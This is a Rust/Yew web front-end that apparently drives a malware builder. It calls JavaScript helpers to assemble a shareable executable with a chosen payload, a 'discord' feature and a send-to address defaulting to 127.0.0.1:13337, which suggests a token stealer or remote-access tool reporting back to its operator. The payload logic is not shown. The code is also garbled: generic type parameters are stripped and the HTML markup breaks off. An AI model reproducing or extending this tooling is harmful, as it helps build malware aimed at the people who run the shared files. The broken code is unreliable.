use wasm_bindgen::prelude::*; use yew::platform::spawn_local; use yew::prelude::*; #[wasm_bindgen(module = "/public/glue.js")] extern "C" { #[wasm_bindgen(js_name = invokeGen, catch)] async fn gen( features: Vec, payload: JsValue, send_to: JsValue, ) -> Result; #[wasm_bindgen(js_name = isOn, catch)] async fn is_on(id: String) -> Result; #[wasm_bindgen(js_name = getPayload, catch)] async fn getPayload() -> Result; #[wasm_bindgen(js_name = setPayload)] async fn setPayload(); #[wasm_bindgen(js_name = getIp, catch)] async fn getIp() -> Result; } #[function_component(App)] pub fn app() -> Html { let types: Vec<&str> = vec!["discord"]; let types_clone = types.clone(); let gen = Callback::from(move |_| { let types_clone = types_clone.clone(); spawn_local(async move { let mut features: Vec = Vec::new(); for i in types_clone { let on = is_on(i.to_string()).await; if on.is_ok() && on.unwrap() == true { features.push(JsValue::from_str(i)); } } let _ = gen( features, getPayload().await.unwrap_or_else(|_| JsValue::null()), getIp() .await .unwrap_or_else(|_| JsValue::from_str("127.0.0.1:13337")), ) .await; }); }); let payload_button = Callback::from(move |_| { spawn_local(async move { setPayload().await; }); }); html! { <>

{"The executable for you to share:"}


            
{ for types.iter().map(|i| { html! { <>} } ) }